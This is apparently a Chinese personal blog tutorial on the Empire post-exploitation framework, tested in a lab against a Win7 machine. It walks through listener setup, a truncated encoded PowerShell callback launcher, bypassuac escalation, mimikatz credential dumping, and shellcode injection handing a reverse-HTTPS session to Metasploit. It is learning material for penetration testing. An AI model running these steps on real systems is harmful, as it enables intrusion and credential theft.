很多人可能对Metasploit(以下简称MSF)并不陌生,但是却很少有人知道Empire,其实Empire也是渗透中的一大利器!

  Empire具体的操作流程和MSF很像,只不过完成同样的操作,命令可能会有所不同。Empire下载地址请点击这里,下载完后安装即可使用。
注意:安装出错时,可以先运行 ./reset.sh命令,之后再运行 ./install.sh命令进行安装。
打开empire的界面如下,是不是感觉很高大上!这里对比MSF解释一下参数的意义:

modules: 获得回话后可利用的模块,版本不同可利用的模块数可能不同
listeners: 相当于MSF中的handler,用于目标回连至Empire
agents: 相当于MSF中的sessions,用于对回连的回话进行操作
Win7: 192.168.10.12     Kali: 192.168.10.18

0x01

  下面,我们来学习一下Empire的使用方法。首先,我们需要创建一个监听listeners,当前版本一共有7种回连方式,这里我们选择http方式,输入info可以看到详细信息,在这里可以修改绑定的IP和端口等信息,最后输入execute即可创建listener。
注意: 创建好listeners后,默认会一直存在Empire中,此时可以输入kill + http来关闭监听的listeners。

(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
...
(Empire: listeners/http) > set Host 192.168.10.18
(Empire: listeners/http) > set Port 4444
...
(Empire: listeners/http) > execute
[*] Starting listener 'http'
[+] Listener successfully started!
(Empire: listeners/http) >
listeners

0x02

  创建好listeners后,我们需要攻击载荷才能对目标发起攻击。输入back命令返回上一级,输入usestager命令可以看到很多针对Windows和OSX的攻击载荷,比如常用的hta,dll,vbs等。除此之外,还可以直接利用launcher命令来生成攻击载荷,这里以powershell为例,执行完下述代码后即可生成一串攻击代码。如果是使用其他载荷,同样是设置完毕后输入execute即可生成相应的代码或者脚本文件。

(Empire: listeners/http) > back
(Empire: listeners) > launcher powershell http
powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBFAHIAcwBpAE8ATgBUAGEAQgBsAGU......
(Empire: listeners) >

0x03

  接下来就是要让目标执行我们生成的代码或者脚本文件,具体操作可以参考这篇文章的利用方法。输入main命令返回主菜单,可以看到我们生成的一个listeners,待目标运行powershell代码后,就可以看到一条回连信息。之后输入agents命令就可以看到上线的主机,interact相当于MSF中的session -i,觉得Name不好记忆可以自己修改agents中的Name值便于输入。

(Empire: listeners) > main
(Empire) > agents
...
(Empire: agents) > interact HT5EF6RP
(Empire: HT5EF6RP) > rename mari0er
(Empire: mari0er) > 

0x04

  在我们拿到shell后,第一件事应该就是提权,不然很多模块和命令都用不了。Empire的提权非常简单,直接输入bypassuac+linsteners即可。提权成功后可以看到一条新的回连信息,再次输入agents可以看到两台上线主机。注意,此时带星号标记的表示提权后的shell,不管shell处于失效或有效状态都会存在Empire中,此时可以输入remove + name来关闭失效的shell。

(Empire: mari0er) > bypassuac http
Empire: mari0er) > 
Job started: 6TZBXY
[+] Initial agent A1VUC9H8 from 192.168.10.12 now active (Slack)
(Empire: mari0er) > agents
...
bypass

拿到提权后的shell有什么用呢?如果渗透内网的话,经常需要输入管理员的登陆密码,此时,抓密码神器mimikatz就派上用场了,在提权后的shell中直接输入mimikatz即可,待抓取完毕后输入creds就可以列出抓取密码的hash值以及明文。
mimikatz

0x05

  你可能习惯了MSF的操作步骤,觉得Empire有点不顺手,没关系!Empire可以反弹回MSF。值得一提的是,利用提权后的shell反弹回MSF,MSF也可以很简单的提权。看到提权后的MSF回话,是不是觉得很亲切,撸起袖子就是一顿撸。注意: 先监听MSF后再执行Empire的注入模块,注意顺序。
Empire的命令如下:

(Empire: agents) > interact A1VUC9H8
(Empire: A1VUC9H8) > usemodule code_execution/invoke_shellcode
(Empire: powershell/code_execution/invoke_shellcode) > set Lport 8889
(Empire: powershell/code_execution/invoke_shellcode) > set Lhost 192.168.10.18
(Empire: powershell/code_execution/invoke_shellcode) > execute

MSF的命令如下:

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(multi/handler) > set lport 8889
lport => 8889
msf exploit(multi/handler) > set lhost 192.168.10.18 
lhost => 192.168.10.18
msf exploit(multi/handler) > exploit 

0x6

  其实Empire还有很多模块可以利用,比如键盘记录,屏幕截图,添加注册表后门,查看域主机和共享服务等,这里只是记录一下我学习的一部分,待以后再慢慢去研究更加好玩的玩法。

本文作者: Mari0er
本文链接: https://mari0er.club/post/empire.html
版权声明: 本博客所有文章除特别声明外,均采用BY-NC-SA 许可协议。转载请注明出处!